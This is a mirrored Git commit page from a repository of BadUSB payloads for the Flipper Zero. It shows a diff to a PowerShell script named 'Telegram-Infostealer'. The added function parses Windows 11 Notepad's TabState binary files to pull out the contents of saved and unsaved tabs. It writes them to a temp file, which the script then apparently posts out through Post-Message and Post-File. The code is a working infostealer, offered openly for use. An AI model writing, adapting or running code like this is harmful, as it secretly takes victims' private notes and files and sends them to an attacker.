gitea-mirror/BadUSB-Files-For-FlipperZero
1
0
Fork 0
mirror of https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git synced 2025-12-28 05:33:12 -08:00
Code Issues Packages Projects Releases Wiki Activity

Update main.ps1

Browse Source
This commit is contained in:
egieb
2024-03-06 22:58:14 +00:00
committed by GitHub
parent 5865e662df
commit 8dd844509e
1 changed files with 50 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

50
Telegram-Infostealer/main.ps1
View File

@@ -167,6 +167,49 @@ else{
$GPS = "LAT = $Lat LONG = $Lon"
}
function EnumNotepad{
$appDataDir = [Environment]::GetFolderPath('LocalApplicationData')
$directoryRelative = "Packages\Microsoft.WindowsNotepad_*\LocalState\TabState"
$matchingDirectories = Get-ChildItem -Path (Join-Path -Path $appDataDir -ChildPath 'Packages') -Filter 'Microsoft.WindowsNotepad_*' -Directory
foreach ($dir in $matchingDirectories) {
$fullPath = Join-Path -Path $dir.FullName -ChildPath 'LocalState\TabState'
$listOfBinFiles = Get-ChildItem -Path $fullPath -Filter *.bin
foreach ($fullFilePath in $listOfBinFiles) {
if ($fullFilePath.Name -like '*.0.bin' -or $fullFilePath.Name -like '*.1.bin') {
continue
}
$seperator = ("=" * 60)
$SMseperator = ("-" * 60)
$seperator | Out-File -FilePath $outpath -Append
$filename = $fullFilePath.Name
$contents = [System.IO.File]::ReadAllBytes($fullFilePath.FullName)
$isSavedFile = $contents[3]
if ($isSavedFile -eq 1) {
$lengthOfFilename = $contents[4]
$filenameEnding = 5 + $lengthOfFilename * 2
$originalFilename = [System.Text.Encoding]::Unicode.GetString($contents[5..($filenameEnding - 1)])
"Found saved file : $originalFilename" | Out-File -FilePath $outpath -Append
$filename | Out-File -FilePath $outpath -Append
$SMseperator | Out-File -FilePath $outpath -Append
Get-Content -Path $originalFilename -Raw | Out-File -FilePath $outpath -Append
} else {
"Found an unsaved tab!" | Out-File -FilePath $outpath -Append
$filename | Out-File -FilePath $outpath -Append
$SMseperator | Out-File -FilePath $outpath -Append
$filenameEnding = 0
$delimeterStart = [array]::IndexOf($contents, 0, $filenameEnding)
$delimeterEnd = [array]::IndexOf($contents, 1, $filenameEnding)
$fileMarker = $contents[($delimeterStart + 2)..($delimeterEnd - 1)]
$fileMarker = -join ($fileMarker | ForEach-Object { [char]$_ })
$originalFileContents = [System.Text.Encoding]::Unicode.GetString($contents[($delimeterEnd + 4 + $fileMarker.Length)..($contents.Length - 6)])
$originalFileContents | Out-File -FilePath $outpath -Append
}
"`n" | Out-File -FilePath $outpath -Append
}
}
}
$contents = "
===================================================
@@ -264,6 +307,13 @@ $outpath = "$env:TEMP/systeminfo.txt"
$contents | Out-File -FilePath $outpath -Encoding ASCII -Append
$infomessage2 | Out-File -FilePath $outpath -Encoding ASCII -Append
if ($OSString -like '*11*'){
EnumNotepad
}
else{
"no notepad tabs (windows 10 or below)" | Out-File -FilePath $outpath -Encoding ASCII -Append
}
Post-Message
Post-File
sleep 2